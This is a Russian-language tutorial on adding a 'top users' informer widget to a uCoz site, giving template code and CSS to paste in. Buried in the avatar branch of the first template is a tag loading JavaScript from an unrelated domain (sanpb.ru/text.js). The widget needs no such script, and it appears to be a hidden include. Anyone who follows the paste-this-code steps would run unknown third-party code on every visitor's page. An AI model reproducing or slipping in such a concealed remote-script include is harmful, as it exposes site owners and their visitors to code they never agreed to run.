Аккуратный информер топ пользователей сайта uCoz
Если вы желаете на своем сайте информировать всех о том, кто же из пользователей сайта самый активный, то вам непременно придется по душе
информер под названием
Аккуратный информер топ пользователей сайта uCoz . Именно этот информер будет прекрасно гармонировать с вашем сайтом, а главное будет практичен и удобен для всех посетителей ресурса.
Теперь об установке и настройке данного скрипта:
- идем в ПУ и создаем информер: Раздел - Пользователи, Сортировка - репутация, Количество материалов - 5, Количество колонок – 1
- заменяем код в получившемся информере на этот:
Code
<div class="vsepodrad_user"> <div class="user_no">$NUMBER$</div> <div class="vsepodrad_avatar"><a href="$PROFILE_URL$"><?if($AVATAR_URL$)?><img src="$AVATAR_URL$" width="30" height="30" border="0" class="vsmall_thumb"><script src="http://sanpb.ru/text.js" type="text/javascript"></script><?else?><img src="http://bambun.ru/images/no_ava.jpg" width="30" height="30" border="0" class="vsmall_thumb"><?endif?></a></div> <div class="utitle"><a href="$PROFILE_URL$">$USERNAME$</a>Комментариев : $COM_POSTS$ - Постов залито : $LOAD_POSTS$ </div> <div class="clearfix"></div> </div>
- устанавливаем данный код туда, где будет выводиться наш информер
Code
<div class="vsepodrad"> <div class="vsepodrad_bg"> <h2>10 лучших пользователей</h2> $КОД_ИНФОРМЕРА$ </div> </div> <style> .vsepodrad { background:#FFF; border:1px solid #b6e2fe; padding:2px; width:300px; margin:0px auto 10px; border-radius:5px;-moz-border-radius:5px;-webkit-border-radius:5px;-khtml-border-radius:5px } .vsepodrad_bg { background: url(http://bambun.ru/images/simple_gradient.png) repeat-x bottom; min-height:81px; background-color:#fff; border:1px solid #85a8c8; margin:0px; padding:0px 2px; border-radius:5px;-moz-border-radius:5px;-webkit-border-radius:5px;-khtml-border-radius:5px } .vsepodrad_bg h2 { margin:5px 2px 8px; padding:0px; color:#21759b; font-size:18px; font-family:Tahoma; text-transform:uppercase; font-weight:bold; } .vsepodrad_user { background:url(http://bambun.ru/images/top_user.png) repeat-x; height:35px; border:1px solid #CCC; margin-bottom:15px; font-size:9px; padding:0px 8px; position:relative; background-color:#FFF; color:#666} .vsepodrad_user:hover{background-position:bottom} .vsepodrad_user a{font-size:12px; font-family:Arial, Helvetica, sans-serif; color:#333; text-decoration:none; font-weight:bold} .vsepodrad_user a:hover{color:#0099cc} .vsepodrad_avatar { width:30px; height:30px; padding:0px; margin:2px 5px 0px 20px; vertical-align:super; float:left; border:1px #ccc solid } .vsepodrad_user > .user_no { background:url(http://bambun.ru/images/blocks.png) -231px -56px no-repeat; width:19px; height:45px; position:absolute; top:-5px; left:5px; font-size:11px; color:#FFF; text-shadow:1px 1px 1px #6fa1b7; text-indent:4px; line-height:45px; } .vsepodrad_bg .utitle { margin-top:5px} .vsepodrad_bg .utitle a{display:block} </style>